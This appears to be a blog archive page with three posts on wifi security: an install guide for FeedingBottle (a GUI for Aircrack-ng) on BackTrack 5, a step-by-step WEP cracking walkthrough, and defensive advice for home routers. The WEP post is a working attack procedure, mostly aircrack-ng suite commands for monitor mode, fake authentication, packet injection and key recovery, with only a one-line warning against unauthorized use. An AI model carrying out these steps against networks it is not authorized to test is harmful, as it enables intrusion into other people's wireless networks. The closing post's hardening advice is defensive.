Showing posts with label WEP. Show all posts
Showing posts with label WEP. Show all posts

Thursday, July 14, 2011

HOWTO : FeedingBottle 3.2 on Back|Track 5

FeedingBottle is a Graphic User Interface (GUI) for Aircrack-ng and it is a project of Beini. Beini is based on Tiny Core Linux which is a wireless network security testing system.

FeedingBottle can handle WEP, WPA, WPA2 as well as hidden SSID.

FeedingBottle 3.2 is working well on Back|Track 5. You can download it at here. Extact and install it by the following commands.

wget http://www.ibeini.com/beini_system/others/feedingbottle/feedingbottle3.2-backtrack5-gnome.zip
unzip feedingbottle3.2-backtrack5-gnome.zip
dpkg -i feedingbottle3.2-backtrack5-gnome.deb


After the installation, you can find it at "Applications" -- "BackTrack" -- "Exploitation Tools" -- "Wireless Exploitation Tools" -- "WLAN Exploition" -- "FeedingBottle3.2".

For the usage, please visit the official site at here.

There are simple and advanced modes for you to use.

That's all! See you.

Sunday, May 22, 2011

HOWTO : WEP cracking with Back|Track 5

Don't crack any wifi router without authorization; otherwise, you will be put into the jail.

Step 1 :

airmon-ng

The result will be something like :

Interface    Chipset      Driver
wlan0        Intel 5100   iwlagn - [phy0]


Step 2 :

airmon-ng start wlan0

Step 3 :

airodump-ng mon0

Press "Ctrl+c" to break the program.

Step 4 :

airodump-ng -c 6 -w wepcrack --bssid 99:88:77:66:55:44 mon0

*where -c is the channel
            -w is the file to be written
            --bssid is the BSSID

Step 5 :

open another terminal.

aireplay-ng -1 0 -a 99:88:77:66:55:44 mon0

*where -a is BSSID

The terminal is keeping running.

Step 6 :

aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b 99:88:77:66:55:44 mon0

*where -c is client's MAC address (STATION)
            -b is BSSID

When asking "Use this packet?", answer "y".

Step 7 :

open another terminal.

aircrack-ng wepcrack*.cap

That's all! See you.

Tuesday, April 06, 2010

Wifi is not 100% safe

There are several protections for wifi, they are WEP, WPA and WP2. WEP can be cracked easily. WPA and WP2 are also not safe recently no matter you are using AES or TKIP encryptions for your PSK. However, at least one client is connecting to the wifi router and your WPA/WPA2 key is in the dictionary (password list) of the cracker so as the cracker can crack WPA/WPA2-PSK.

Recommendation

(1) at least use WPA2-Personal with AES encryption for the key (most likely for home users) or use Captive Portal if any;
(2) keep your WPA/WPA2 key as long (the longest is 63 characters) and complicated as possible, it should includes capital and small letters, symbols and numbers (however, some devices may not recognize such length of the key);
(3) enable MAC address filter (if possible; but not quiet useful for higher security);
(4) do not use factory's WPS feature (or similar, e.g. QSS) as it is quiet danger for users but convenience for crackers;
(5) change your WPA/WPA2 key often; and
(6) use WPA2-Enterprise if possible (it is the highest security so far).

Be keep in mind that this settings may not be worked tomorrow. The world is changing very fast.

By the way, hidden BSSID and MAC address filter are useless as crackers can obtain such information very easy.

That's all! See you.